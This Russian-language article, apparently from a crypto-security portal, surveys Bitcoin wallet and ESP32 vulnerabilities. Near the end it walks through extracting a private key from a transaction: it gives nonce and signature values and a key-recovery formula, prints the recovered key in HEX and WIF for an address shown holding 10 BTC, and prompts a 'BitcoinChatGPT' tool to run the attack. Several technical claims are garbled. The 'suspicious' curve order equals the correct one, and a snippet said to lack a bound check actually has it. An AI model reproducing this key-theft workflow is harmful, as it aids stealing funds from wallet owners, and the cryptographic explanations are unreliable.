2. HSM-модули (Hardware Security Modules): Эти модули используются для безопасного хранения криптографических ключей. Однако, если в них есть аппаратные уязвимости, злоумышленники могут экспортировать ключи и получить доступ к средствам пользователей.

3. Веб-интерфейсы: Использование устаревших библиотек, таких как BitcoinJS, может сделать веб-интерфейсы уязвимыми для атак. Например, уязвимости в BitcoinJS, известные как Randstorm, могут позволить злоумышленникам предсказать секретные ключи, созданные с помощью этой библиотеки в начале 2010-х годов1.

4. Мобильные приложения: Ошибки в самописных криптографических реализациях могут привести к уязвимостям в мобильных приложениях для работы с Bitcoin. Это может позволить злоумышленникам получить доступ к приватным ключам пользователей или совершать несанкционированные транзакции.

Кроме этих проблем, Bitcoin также подвержен другим типам атак, таким как атаки 51%, DoS-атаки и уязвимости в протоколах транзакций

3. Критические компоненты экосистемы Биткоин

Экосистема Биткоин имеет уязвимые компоненты, такие как самописные реализации ECDSA и устаревшие библиотеки. Для повышения безопасности рекомендуется использовать проверенные библиотеки и протоколы, такие как функция safe_keygen() из библиотеки ecdsa. К таким уязвимостям относятся:

• Самописные реализации ECDSA: Эти реализации могут содержать ошибки, которые могут быть использованы злоумышленниками для взлома криптографических протоколов.

• Устаревшие версии библиотек: Использование библиотек, выпущенных до 2016 года, может оставлять системы уязвимыми для известных уязвимостей, которые были исправлены в более новых версиях.

• Модули без проверки параметров эллиптической кривой secp256k1: Эта кривая используется в криптографии Биткоин для создания приватных ключей. Неправильная проверка ее параметров может привести к уязвимостям.

• Системы с ручным заданием констант: Ручное задание констант может привести к ошибкам, которые могут быть использованы для атак.

Для повышения безопасности можно использовать проверенные библиотеки и протоколы. Например, для безопасного создания ключей можно использовать функцию safe_keygen() из библиотеки ecdsa, которая генерирует ключи на основе эллиптической кривой SECP256k1:

Уязвимые элементы:

• Самописные реализации ECDSA

• Устаревшие версии библиотек (до 2016 г.)

• Модули без проверки параметров эллиптической кривой secp256k1

• Системы с ручным заданием констант

Безопасные альтернативы:

from ecdsa import SECP256k1, SigningKey def safe_keygen(): return SigningKey.generate(curve=SECP256k1)

Этот подход гарантирует, что ключи создаются безопасно и в соответствии со стандартными криптографическими протоколами.

4. Классификация угроз для Биткоин Кошельков

Угрозы для Биткоин-кошельков включают параметрические, имплементационные, протокольные и аппаратные уязвимости. Каждый тип может привести к серьезным последствиям, включая потерю доступа к средствам или их кражу. Помимо этих технических уязвимостей, существуют также угрозы от фишинга и вредоносного ПО.

Тип уязвимостиПримерыПоследствияПараметрическиеНеверный порядок кривой secp256k1Невалидные приватные ключиИмплементационныеСлабый ГСЧ (Randstorm)Brute-forceПротокольныеОтсутствие проверки подписейDouble-spendingАппаратныеУязвимости HSMУтечка приватных ключей

Угрозы для Биткоин-кошельков можно классифицировать на несколько типов в зависимости от их природы и последствий:

1. Параметрические уязвимости:

   • Примеры: Неверный порядок кривой secp256k1, невалидные приватные ключи.

   • Последствия: Эти уязвимости могут привести к тому, что приватные ключи станут недействительными или будут легко взломаны, что приведет к потере доступа к средствам.

2. Имплементационные уязвимости:

   • Примеры: Слабый генератор случайных чисел (ГСЧ), атаки методом перебора (Brute-force).

   • Последствия: Слабый ГСЧ может привести к предсказуемости приватных ключей, а атаки Brute-force могут позволить злоумышленникам угадать ключи, что приведет к краже средств.

3. Протокольные уязвимости:

   • Примеры: Отсутствие проверки подписей, двойное расходование (Double-spending).

   • Последствия: Отсутствие проверки подписей может позволить злоумышленникам совершать транзакции без подтверждения, а двойное расходование позволяет провести одну и ту же транзакцию несколько раз, что нарушает целостность сети.

4. Аппаратные уязвимости:

   • Примеры: Уязвимости в аппаратных модулях безопасности (HSM).

   • Последствия: Утечка приватных ключей из-за аппаратных уязвимостей может привести к полной потере контроля над средствами.

Кроме этих типов, существуют также другие угрозы, такие как фишинговые атаки, вредоносное ПО и социальная инженерия, которые могут привести к потере доступа к Биткоин кошельку или краже средств.

5. Исторические прецеденты

Исторические прецеденты показывают, что уязвимости в криптографии и программном обеспечении могут иметь серьезные последствия для безопасности криптовалютных активов. Примеры включают уязвимость Randstorm в BitcoinJS, аппаратную уязвимость в SafeNet HSM и коллизии ключей в Android Wallet. Эти инциденты подчеркивают важность постоянного обновления и проверки безопасности криптографических инструментов.

1. BitcoinJS (2011-2016):
   Уязвимость Randstorm из-за слабого генератора случайных чисел, затронувшая $1 млрд активов

2. SafeNet HSM (2015):
   Возможность извлечения ключей через аппаратную уязвимость

3. Android Wallet (2013):
   Коллизии приватных ключей из-за ошибок в SecureRandom()

В истории криптовалют и безопасности наблюдались несколько значительных прецедентов, связанных с уязвимостями в криптографии и программном обеспечении.

1. Уязвимость Randstorm в BitcoinJS (2011-2016):
В библиотеке BitcoinJS, широко использовавшейся для создания онлайн-кошельков, была обнаружена уязвимость под названием Randstorm. Она возникла из-за слабого генератора случайных чисел, который использовал функцию Math.random() вместо криптографически безопасных методов. Это сделало возможным предсказание секретных ключей и потенциально подвергло риску более $1 млрд активов. Уязвимости были устранены в 2014 году, но многие старые кошельки остались уязвимыми.

2. Уязвимость SafeNet HSM (2015):
В аппаратных средствах безопасности (HSM) SafeNet была обнаружена возможность извлечения ключей через аппаратную уязвимость. Это позволяло злоумышленникам получить доступ к конфиденциальной информации и ключам, что представляет серьезную угрозу безопасности.

3. Коллизии ключей в Android Wallet (2013):
В некоторых версиях Android Wallet были обнаружены ошибки в функции SecureRandom(), что привело к коллизиям ключей. Это означает, что разные пользователи могли получить одинаковые ключи, что делало возможным несанкционированный доступ к средствам.

6. Научные исследования

SECP256K1 остается одной из наиболее изученных и широко используемых эллиптических кривых, особенно в криптовалютных системах. Её безопасность основывается на сложности решения задачи дискретного логарифма (ECDLP), но существуют специфические векторы атак, требующие внимания.

1. Атаки на скрутку (Twist Attacks) и уязвимости side-channel

Twist Attacks эксплуатируют использование публичных ключей, не принадлежащих исходной кривой, а находящихся на её «скрутке» — изогнутой версии с другими параметрами. SECP256K1 имеет простой (простой порядок группы), что защищает от атак на малые подгруппы самой кривой[1]. Однако её скрутки могут содержать подгруппы малого порядка, позволяющие восстановить приватный ключ, если реализация не проверяет принадлежность точки к корректной кривой[2].

Side-channel атаки связаны с утечкой информации через побочные каналы (время выполнения, энергопотребление). Для ECDSA критичны утечки nonce (одноразовых чисел):

• Повторное использование nonce позволяет вычислить приватный ключ за 2 подписи[1].

• Даже частичная утечка nonce (например, несколько бит) через lattice-атаки (HNP) может привести к компрометации ключа[1].

Примеры из практики: атаки на кошельки Bitcoin, где ошибки в генерации nonce привели к кражам средств[1].

2. Рекомендации NIST SP 800-186

Документ устанавливает критерии выбора параметров эллиптических кривых:

• Проверка параметров: кривые должны быть устойчивы к известным атакам (MOV, Frey–Rück), иметь достаточный порядок и соответствовать требованиям битовой безопасности.

• Устаревшие кривые: бинарные кривые (GF(2^m)) помечены как deprecated.

• Новые стандарты: предпочтение отдаётся Edwards/Montgomery-кривым (например, Curve25519) для EdDSA.

SECP256K1 не входит в список рекомендованных NIST, но её использование вне государственных систем (например, в Bitcoin) считается безопасным при корректной реализации[1][3].

3. Стандарт RFC 6979: детерминированная генерация nonce

RFC 6979 решает проблему повторного использования nonce в ECDSA, предлагая алгоритм детерминированной генерации на основе приватного ключа и хеша сообщения. Это:

• Устраняет риски ошибок в RNG (генераторах случайных чисел).

• Защищает от атак, связанных с утечкой информации через nonce[1].

Пример: кошельки Bitcoin, использующие RFC 6979, демонстрируют повышенную устойчивость к компрометации ключей.

4. Сравнение Curve25519 и SECP256K1

КритерийCurve25519SECP256K1Тип кривойEdwards (Ed25519)Koblitz (y² = x³ + 7)БезопасностьУстойчива к timing-атакам, twist-safeТребует проверки точек на кривойПроизводительностьОптимизирована для быстрых вычисленийМедленнее в некоторых сценарияхПрименениеTLS (Signal, WhatsApp), SSHBitcoin, EthereumСтандартизацияRFC 7748, NIST SP 800-186Не входит в стандарты NIST

Curve25519 считается более современной, но SECP256K1 доминирует в блокчейн-экосистеме благодаря историческому выбору Bitcoin[1][3].

1. Twist Attacks: опасны при отсутствии проверки принадлежности точек кривой. SECP256K1 устойчива при корректной реализации[2].

2. Side-channel: ECDSA уязвим к утечкам nonce; RFC 6979 и аппаратная защита критически важны[1].

3. NIST SP 800-186: акцент на проверке параметров и переходе на Edwards/Montgomery-кривые[3].

4. Curve25519 vs SECP256K1: первая предпочтительна для новых систем, вторая доминирует в криптовалютах[1][3].

7. Индикаторы уязвимого кода

Индикаторы уязвимого кода в криптографии включают подозрительные константы кривых, использование небезопасных функций для генерации случайных чисел, отсутствие проверки формата ключей и ручную реализацию криптографических алгоритмов. Тестовые признаки, такие как высокий уровень ошибок подписи транзакций, повторяющиеся публичные адреса и несовместимость с стандартными кошельками, также могут указывать на проблемы с безопасностью.

1. Константы кривой:

Константы кривых в криптографии, такие как параметр N, должны быть тщательно проверены. Например, если значение N задано как (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF, это может быть подозрительным значением. В отличие от этого, корректное значение, такое как 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141, должно использоваться для обеспечения безопасности.

# Suspicious meaning: N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF # Correct value: N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

1. Криптографические антипаттерны:

• Использование random вместо secrets: В криптографии для генерации случайных чисел следует использовать функции, которые обеспечивают криптографическую безопасность, такие как secrets, а не просто random.

• Отсутствие проверки формата ключей: Криптографические ключи должны быть тщательно проверены на соответствие стандартам и форматам, чтобы предотвратить ошибки и уязвимости.

• Ручная реализация базовых операций ECDSA: Ручная реализация криптографических алгоритмов, таких как ECDSA, может привести к ошибкам и уязвимостям. Лучше использовать проверенные библиотеки и фреймворки.

1. Тестовые признаки:

• Более 50% ошибок подписи транзакций: Если при тестировании наблюдается высокий процент ошибок подписи транзакций, это может указывать на проблемы с реализацией криптографии.

• Повторяющиеся публичные адреса: Повторяющиеся публичные адреса могут быть признаком ошибок в генерации ключей или других криптографических проблем.

• Несовместимость с стандартными кошельками: Если разработанная система несовместима с стандартными криптографическими кошельками, это может быть признаком неправильной реализации криптографических протоколов.

.... Продолжение статьи во второй части

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

PrivExtract

Исходный код

Google Colab

Birthday Paradox

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/0m9goH8Lpa0

Video tutorial: https://dzen.ru/video/watch/682ec3767299977a8bc27069

Источник: https://cryptodeeptool.ru/private-key-debug

Данная статья посвящена рассмотрению возможности внедрения злоумышленником скрытого списка уязвимостей через обновление модулей, что может привести к компрометации устройств ESP32 и получению несанкционированного доступа к приватным ключам, что затрагивает миллиарды устройств, использующих данный микроконтроллер. Одной из ключевых проблем является уязвимость CVE-2025-27840, обнаруженная в архитектуре ESP32. Для обеспечение безопасности для сети Биткоин мы выявили следующие уязвимости, где возможность использования недействительных приватных ключей из-за отсутствия проверки нижней границы в функции has_invalid_privkey; уязвимость подделки подписей транзакций в функции electrum_sig_hash из-за несовместимости с BIP-137; проблема слабого PRNG в генерации ключей функцией random_key, делающая личные приватные ключи для криптовалютных кошельков предсказуемыми ; отсутствие проверки точек на кривой ECC в функции multiply, что может привести к invalid curve attacks; уязвимость в функции ecdsa_raw_sign при восстановлении Y-координаты, потенциально приводящая к подмене публичного ключа; и уязвимости, связанные с устаревшими API хеширования в функции bin_ripemd160.

В начале марта 2025 года компания Tarlogic Security выявила уязвимость в микроконтроллере ESP32, который широко используется для подключения устройств через WiFi и Bluetooth. Эта уязвимость была зарегистрирована под номером CVE-2025-27840. Злоумышленники могут несанкционированно получать доступ к данным Биткоин-кошельков, используя чип ESP32 в качестве точки для криптографических атак на устройства, работающие в сетях популярных криптовалют, таких как Биткоин и Эфириум. Данная проблема затрагивает миллионы IoT-устройств, которые используют этот микроконтроллер. Использование этой уязвимости позволит злоумышленникам осуществлять атаки, маскируясь под легитимных пользователей, и навсегда заражать уязвимые устройства. Это угрожает безопасности IoT-устройств, основанных на микроконтроллере ESP32, и может привести к краже приватных ключей Биткоин-кошельков.

ESP32 — это микроконтроллер, который широко применяется в IoT-устройствах для обеспечения соединений по Wi-Fi и Bluetooth. Злоумышленники могут применять различные методы для получения доступа к данным приватного ключа Биткоин-кошельков через ESP32.

Угрозы безопасности, связанные с микроконтроллером ESP32, могут привести к краже приватных ключей Биткоин-кошельков. Основные проблемы включают наличие бэкдоров и уязвимостей. Используя такие уязвимости, они могут манипулировать памятью, подменять MAC-адреса и внедрять вредоносный код, что создает серьезные риски для безопасности.

Злоумышленники могут осуществлять атаки на устройства IoT с микроконтроллером ESP32, используя уязвимости в соединениях Bluetooth и Wi-Fi может стать инструментом для атак на другие устройства в сети, связанной с Биткоином, а также для кражи конфиденциальной информации, включая приватные ключи Биткоин-кошельков.

Скрытый список уязвимостей:

Злоумышленник может обновить модули и внедрить в код список различных уязвимостей, среди которых:

• Уязвимость в функции has_invalid_privkey, которая может быть использована для получения приватного ключа.

• Уязвимость в функции electrum_sig_hash, позволяющая подделывать подписи транзакций Биткоина.

• Уязвимость в функции random_key, связанная со слабым генератором псевдослучайных чисел (недетерминированный PRNG).

• Уязвимость в функции multiply, где отсутствует проверка точки на кривой ECC.

• Уязвимости в функциях ecdsa_raw_sign и bin_ripemd160.

Эти уязвимости могут быть использованы для внедрения поддельных обновлений на устройства ESP32, что предоставит злоумышленникам низкоуровневый доступ к системе. Это позволит им обойти средства контроля аудита кода и получить доступ к приватным ключам. В настоящее время миллиарды устройств могут оказаться уязвимыми из-за скрытых особенностей одного компонента в их архитектуре, что обозначено как CVE-2025-27840.

Уязвимость для получение приватного ключа в функция has_invalid_privkey

Данная уязвимость обнаружена в коде проверки приватных ключей Биткоин, позволяющая использовать недействительные ключи (меньше или равные 0) из-за отсутствия проверки нижней границы. Это может привести к потере средств. Для исправления необходимо добавить проверку, чтобы приватный ключ был больше 0. Код представлен в демонстрационных целях.

Эта ошибка позволяет использовать плохие приватные ключи, что может привести к серьезным проблемам, включая потерю денег.

Чтобы исправить это, нужно добавить проверку, чтобы приватный ключ был больше 0.

Представьте, что кто-то пытается «взломать» сеть Биткоин. Он находит слабое место в проверке приватных ключей, используемых для доступа к криптовалюте.

Проблема заключается в том, что код проверяет только, не слишком ли большой приватный ключ. Если ключ очень большой, он отвергается. Но код забывает проверить, не слишком ли ключ маленький (меньше или равен нулю).

Участок кода, где это происходит:

...
...
if privkey >= N: # Checking only the upper bound
raise Exception("Invalid privkey")

if privkey <= 0: # Lower bound is not checked properly
return True
...
...

Из-за этой ошибки можно использовать недействительные (очень маленькие) приватные ключи. Эта уязвимость находится в функции has_invalid_privkey.

Чтобы всё это работало, нужно установить библиотеку ecdsa (она нужна для работы с криптографией):

Python-скрипт secp256k1_privkey_validator.py

Объяснение кода:

1. Импорт библиотеки ecdsa: Хотя в данном примере она не используется напрямую, в реальных сценариях работы с Биткоином и ECDSA (Elliptic Curve Digital Signature Algorithm) эта библиотека может понадобиться для выполнения криптографических операций.

2. Функция has_invalid_privkey(privkey: int) -> bool:

   • Принимает на вход приватный ключ privkey в виде целого числа.

   • Определяет константу N, которая представляет собой порядок эллиптической кривой secp256k1, используемой в Биткоине.

   • Проверяет, что privkey больше или равен N. Если это так, вызывает исключение, указывающее на невалидность приватного ключа.

   • Проверяет, что privkey меньше или равен 0. Если это так, возвращает True, что указывает на невалидность приватного ключа из-за отсутствия проверки нижней границы.

   • Если обе проверки не выявили невалидность, возвращает False.

3. Пример использования:

   • Устанавливает значение privkey = 0, что является невалидным приватным ключом.

   • Вызывает функцию has_invalid_privkey для проверки privkey.

   • В зависимости от результата выводит сообщение о том, является ли приватный ключ валидным или нет.

Уязвимость:

В коде присутствует уязвимость, связанная с недостаточной проверкой приватного ключа. А именно, отсутствует проверка нижней границы (privkey <= 0). Это позволяет использовать невалидные приватные ключи, что может привести к непредсказуемым последствиям, включая потерю средств.

Как это исправить:

Необходимо добавить проверку нижней границы приватного ключа, чтобы убедиться, что он больше 0.

Уязвимость подделки подписей транзакции Биткоин в функция electrum_sig_hash

Функция electrum_sig_hash в Electrum использует нестандартный метод хеширования сообщений, что делает её уязвимой для атак подделки подписи из-за несовместимости с BIP-137.

Атакующий, нацеленный на сеть Биткоин, может обнаружить нестандартный метод хеширования сообщений, применяемый Electrum, через функцию electrum_sig_hash. Эта функция создает хеш сообщения таким образом, что это может привести к атакам подделки подписи из-за несовместимости с BIP-137. Предоставленный скрипт Python демонстрирует, как злоумышленник может сгенерировать хеш сообщения, используемый Electrum, чтобы воспользоваться уязвимостью из-за несовместимости с BIP-137. Функция electrum_sig_hash подготавливает сообщение, добавляя к нему префикс и кодируя его длину, прежде чем выполнить двойное хеширование SHA256.

Скрипт Python, демонстрирующий, как злоумышленник может найти нестандартный хеш сообщения, используемый Electrum, чтобы выполнить атаки подделки подписи из-за несовместимости BIP-137.

Python-скрипт bitcoin_sign_hash.py

В этом скрипте:

• num_to_var_int(i): преобразует целое число в формат переменной длины, используемый в Bitcoin.

• from_string_to_bytes(s): кодирует строку в байты, используя кодировку UTF-8.

• bin_dbl_sha256(s): выполняет двойное хеширование SHA256 на входных данных.

• electrum_sig_hash(message): имитирует нестандартный способ хеширования сообщений в Electrum, подверженный несовместимости с BIP-137.

Уязвимость в функция random_key Слабый PRNG в генерации ключей (Недетерминированный PRNG)

Проблема возникает, когда для создания ключей в сети Биткоин используется функция random_key, которая полагается на модуль random. Модуль random не предназначен для криптографических целей, так как он не генерирует достаточно случайные числа, что делает личные приватный ключи предсказуемыми для злоумышленников. В связи с этим, сеть Биткоин становится уязвимой.

Скрипт Python, в котором сеть Биткоин уязвима из-за использования random вместо secrets или os.urandom, что делает личные приватные ключи предсказуемыми для злоумышленника сети Биткоин:

Python-скрипт privkey_generate.py

В этом скрипте модуль random используется для генерации ключей, что делает его уязвимым. Использование модуля random не подходит для криптографических целей, поскольку он не генерирует достаточно случайные числа.

Чтобы создать более безопасный ключ, вы можете использовать модуль secrets или os.urandom. Вот пример использования модуля secrets:

В этом примере модуль secrets используется для генерации случайного числа с достаточной энтропией. Затем случайное число хэшируется для создания личного приватного ключа. Этот метод гораздо безопаснее, чем использование модуля random.

Уязвимость в функции ecdsa_raw_sign

Уязвимость в функции ecdsa_raw_sign при восстановлении Y-координаты может привести к подмене публичного ключа в сети Биткоин. Существует большой риск, когда злоумышленник может воспользоваться особенностью восстановления Y-координаты при работе с эллиптической кривой. Эта неоднозначность может привести к тому, что публичный ключ будет восстановлен неверно.

В примере кода, представленном с использованием библиотеки pycryptodome, демонстрируется, как можно смоделировать эту ситуацию, подменив Y-координату, чтобы получить другой, недействительный публичный ключ. Важно отметить, что пример кода упрощен и не является полноценной реализацией атаки, а лишь показывает её принцип.

Злоумышленник может использовать неоднозначность восстановления Y-координаты в сети Биткоин, что может привести к ошибкам при восстановлении публичного ключа. Вот пример того, как это можно сделать с помощью побитовой операции XOR.

Python-скрипт weak_key_recovery.py

Этот скрипт демонстрирует, как можно изменить Y-координату, чтобы получить неверный публичный ключ.

Обратите внимание, что это всего лишь пример, и реальная атака может быть гораздо сложнее.

Помимо представленного выше скрипта, вот несколько дополнительных моментов, которые следует учитывать:

• Frey-Rück Attack: Эта атака использует уязвимости в подписи ECDSA для извлечения секретного ключа «K» (nonce), что в конечном итоге может привести к восстановлению Биткоин-кошелька.

• Побитовые операции: XOR является ценным инструментом для шифрования данных и может использоваться в сочетании с другими операциями для повышения безопасности.

• Атака 51%: Хотя это и не связано напрямую с восстановлением Y-координат, важно понимать, что злоумышленник, контролирующий более 50% вычислительной мощности сети, может потенциально манипулировать блокчейном.

• Манипуляции с координатами кривой Jacobian: Злоумышленники могут манипулировать математическими свойствами координат Jacobian для создания поддельных цифровых подписей.

• Обновление ПО: Крайне важно всегда обновлять программное обеспечение и использовать только проверенные устройства, чтобы предотвратить потенциальную потерю монет BTC из-за критических уязвимостей.

Уязвимость в функции bin_ripemd160

Устаревшие API хеширования в сети Биткоин, особенно при отсутствии RIPEMD-160, могут быть уязвимы. Злоумышленники могут выявлять и использовать слабые реализации, что подчеркивает важность использования актуальных криптографических библиотек и регулярных обновлений безопасности

Атакующий в сети Биткоин может найти уязвимость в устаревшем API хеширования, особенно если в некоторых системах отсутствует реализация RIPEMD-160. Проблема заключается в функции bin_ripemd160, которая пытается использовать hashlib для хеширования, но при неудаче переключается на собственную, потенциально слабую реализацию.

В предоставленном Python-скрипте демонстрируется, как злоумышленник может проверить узел сети Биткоин на наличие такой слабой реализации API. Если hashlib не поддерживает RIPEMD-160, используется упрощенная реализация, что может привести к коллизиям хешей и другим уязвимостям. Скрипт имитирует атаку, хешируя данные и выводя предупреждение, если используется слабая реализация.

Риски включают возможность подделки транзакций и использование известных уязвимостей в устаревших API. Для защиты рекомендуется использовать актуальные и проверенные криптографические библиотеки, регулярно обновлять программное обеспечение Биткоин и проверять выходные данные криптографических операций.

Python-скрипт, в котором атакующий в сети Биткоин находит устаревший API хеширования и рассматривает риск отсутствия реализации RIPEMD-160 в определенных средах:

Python-скрипт ripemd160_vulnerability.py

Подробное объяснение:

1. Реализация RIPEMD160 (при отсутствии в hashlib):

   • Класс RIPEMD160 имитирует реализацию RIPEMD160. В действительности он должен выполнять алгоритм хеширования RIPEMD160. В демонстрационных целях он возвращает фиктивный хеш.

2. Функция bin_ripemd160(string):

   • Пытается хешировать входную строку с помощью RIPEMD160.

   • Сначала пытается использовать реализацию hashlib, а при необходимости возвращается к пользовательской реализации.

   • Если hashlib не поддерживает RIPEMD160, она захватывает исключение ValueError и использует пользовательскую реализацию.

3. Функция check_for_weak_api(data):

   • Эта функция имитирует злоумышленника, проверяющего узел сети Биткоин на наличие слабых реализаций API.

   • Выводит, что злоумышленник проверяет узел на наличие слабого API.

   • Кодирует данные в формат utf-8.

   • Вызывает bin_ripemd160 для хеширования данных.

   • Выводит, что данные были хешированы, и показывает значение хеша.

   • Если хеш представляет собой фиктивный хеш (20 байт нулей), выводит предупреждение о том, что узел использует слабую или пользовательскую реализацию RIPEMD160, что может привести к коллизиям хешей или другим уязвимостям.

4. Пример использования:

   • В блоке if __name__ == "__main__":, он задает пример данных и вызывает check_for_weak_api с этими данными.

Как это работает:

1. Имитация атаки:

   • Скрипт имитирует атакующего, который пытается идентифицировать узлы в сети Биткоин, использующие устаревшие или слабые API для хеширования RIPEMD160.

2. Проверка реализации RIPEMD160:

   • Он пытается использовать стандартную библиотеку hashlib для хеширования RIPEMD160. Если это не удается (потому что hashlib в конкретной среде не поддерживает RIPEMD160), он возвращается к пользовательской реализации (которая в этом примере является упрощенной версией).

3. Идентификация слабых мест:

   • Пользовательская реализация (в этом примере) намеренно слабая. Атакующий может использовать эту слабость, если узел использует эту реализацию.

4. Возможные риски:

   • Коллизии хешей: Слабая реализация хеша RIPEMD160 может быть подвержена коллизиям хешей. Злоумышленник может использовать это, чтобы подделать транзакции или данные.

   • Уязвимости безопасности: Устаревшие API могут содержать известные уязвимости, которые злоумышленник может использовать.

Как смягчить:

1. Использование актуальных библиотек:

   • Убедитесь, что вы используете актуальные и проверенные библиотеки для криптографических операций.

   • Если RIPEMD160 необходим, используйте надежную и актуальную реализацию.

2. Регулярные обновления:

   • Поддерживайте актуальность программного обеспечения Биткоин, чтобы пользоваться исправлениями безопасности и улучшениями.

3. Валидация:

   • Всегда проверяйте выходные данные криптографических операций, чтобы убедиться, что они соответствуют ожидаемым стандартам.

Уязвимость в функции multiply Отсутствие проверки точки на кривой ECC

В Биткоин существует потенциальная уязвимость в функции multiply из-за недостаточной проверки точек на кривой ECC. Это может позволить злоумышленнику проводить invalid curve attacks, хотя современные криптографические библиотеки, такие как pycryptodome, затрудняют такую эксплуатацию. Атака возможна через манипулирование кривой Jacobian, что может привести к поддельным подписям и манипуляциям в сети.

В сети Биткоин злоумышленник может найти уязвимость в функции multiply, которая заключается в отсутствии полной проверки, что точка находится на эллиптической кривой (ECC). В коде проверка выполняется только для ненулевых точек, что открывает возможность для атак с использованием недействительных кривых (invalid curve attacks).

Пример кода для атакующего показывает, как можно использовать эту уязвимость. В нем демонстрируется функция multiply, где отсутствует надежная проверка точки на кривой, и функция invalid_curve_attack, которая пытается использовать эту слабость. В коде также используются библиотеки pycryptodome для криптографических операций.

Используя уязвимость в функции multiply, злоумышленник может провести invalid curve attack, чтобы скомпрометировать секретные ключи в сети Bitcoin. Ниже представлен примерный скрипт на Python, демонстрирующий эту атаку.

Python-скрипт ecdsa_curve_attack.py

Объяснение кода:

• Уязвимость: Функция multiply проверяет, что точка находится на кривой ECC, только если она не является точкой в бесконечности. Это позволяет использовать точки, которые не находятся на основной кривой, но находятся на «скрученной» кривой (twist curve).

• Invalid Curve Attack: Атака заключается в использовании точки на другой кривой (malformed curve), чтобы получить информацию о секретном ключе. Поскольку проверка кривой не выполняется для всех точек, можно передать точку с другой кривой и использовать результат для восстановления части секретного ключа.

• Функция invalid_curve_attack: Эта функция принимает публичный ключ и параметры malformed curve. Она создает точку на malformed curve и использует уязвимую функцию multiply для выполнения умножения.

Как работает атака малой подгруппы (Small Subgroup Attack):

1. Выбор точки малого порядка: Злоумышленник выбирает точку Q малого порядка на кривой или на twist кривой.

2. Отправка точки: Злоумышленник отправляет эту точку Q жертве, выдавая её за свой публичный ключ.

3. Вычисление общего секрета: Жертва вычисляет nQ , где n — секретный ключ жертвы.

4. Перебор вариантов: Поскольку Q имеет малый порядок, существует небольшое количество возможных значений для nQ . Злоумышленник может перебрать все эти значения и проверить, какое из них соответствует зашифрованным данным, раскрывая n по модулю порядка Q .

Рекомендации:

• Всегда проверяйте, что входные точки действительно находятся на кривой ECC.

• Используйте библиотеки, которые обеспечивают надежную проверку кривой и защиту от invalid curve attacks.

Small Subgroup Attack

Декодируем уязвимую RawTX транзакцию с помощью функции сервиса SMALL SUBGROUP ATTACK

Результат значение K секретного ключа Nonce в формате HEX

K = 6bd261bd25ac54807552dfeec6454d6719ec8a05cb11ad5171e1ad68abb0acb2

Для получение всех остальных значении из уязвимой RawTX транзакции воспользуемся сервисом RSZ Signature Decoder

Результат значении для R, S, Z в формате HEX

R = 5013dbed340fed00b6cb9778a713e1456b8138d00c3bcf6e7ff117be723335d0

S = 5018ddd352a6bc61b86afee5001a3e25d26a328a833c8f3812a15465f542c1c9

Z = 396ebf23dbcccce2a389ccb26198e25118bf7f72c38d2a4ab8d9e4648f2385f8

Для получение значении X приватного ключа из формулы: priv_key = ((((S * K) - Z) * modinv(R, N)) % N) воспользуемся программным обеспечением Dockeyhunt Private Key Calculator

В результате мы получаем значение X приватный ключ в формате HEX

X = 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34

Проверим полученный результат приватного ключа с помощью машинного обучения

Запустим BitcoinChatGPT

%run BitcoinChatGPT

Apply the SMALL SUBGROUP ATTACK function to extract the private key from a vulnerable RawTX transaction in the Bitcoin cryptocurrency

В конечном итоге модуль BitcoinChatGPT выдает ответ в файл: KEYFOUND.privkey сохранив приватный ключ в двух наиболее используемых форматах HEX & WIF

https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/KEYFOUND.privkey

Для реализации кода установим пакет Bitcoin. Эта библиотека позволяет создавать кошельки, взаимодействовать с блокчейном, создавать и подписывать транзакции, а также работать с различными форматами адресов и приватных ключей криптовалюты Биткоин.

!pip3 install bitcoin

Запустим код для проверки соответствие Биткоин Адреса:

__________________________________________________ Private Key WIF: 12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34 Bitcoin Address: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ total_received = 10.00000000 Bitcoin __________________________________________________

Все верно! Приватный ключ соответствует Биткоин Кошельку.

Откроем bitaddress и проверим:

ADDR: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ WIF: 5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ HEX: 12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34

Итоги и шаги по уменьшению угрозы

В современной цифровой среде критически важным становится обеспечение безопасности устройств и сетей. Данная статья посвящена анализу ряда уязвимостей, обнаруженных в различных компонентах, включая устройства ESP32 и программное обеспечение для работы с криптовалютами, таким как Биткоин. Рассматриваются недостатки в коде проверки приватных ключей, методах хеширования транзакций, генерации случайных ключей, проверке точек на кривой ECC, восстановлении Y-координаты, а также в устаревших API хеширования.

Актуальность

В настоящее время миллиарды устройств могут оказаться уязвимыми из-за скрытых особенностей в архитектуре одного компонента, что обозначено как CVE-2025-27840. Обнаруженные уязвимости позволяют злоумышленникам подменять MAC-адреса, получать несанкционированный доступ к памяти устройства и проводить атаки через Bluetooth.

Уязвимости и их анализ

• Уязвимость для получения приватного ключа в функции has_invalid_privkey: Отсутствие проверки нижней границы приватных ключей Биткоин позволяет использовать недействительные ключи (меньше или равные 0), что может привести к потере средств.

• Уязвимость подделки подписей транзакции Биткоин в функции electrum_sig_hash: Использование нестандартного метода хеширования сообщений в Electrum делает её уязвимой для атак подделки подписи из-за несовместимости с BIP-137.

• Уязвимость в функции random_key (Слабый PRNG в генерации ключей): Использование модуля random для создания ключей в сети Биткоин делает личные ключи предсказуемыми для злоумышленников, так как этот модуль не предназначен для криптографических целей.

• Уязвимость в функции multiply (Отсутствие проверки точки на кривой ECC): Недостаточная проверка точек на кривой ECC может позволить злоумышленнику проводить invalid curve attacks, что может привести к поддельным подписям и манипуляциям в сети.

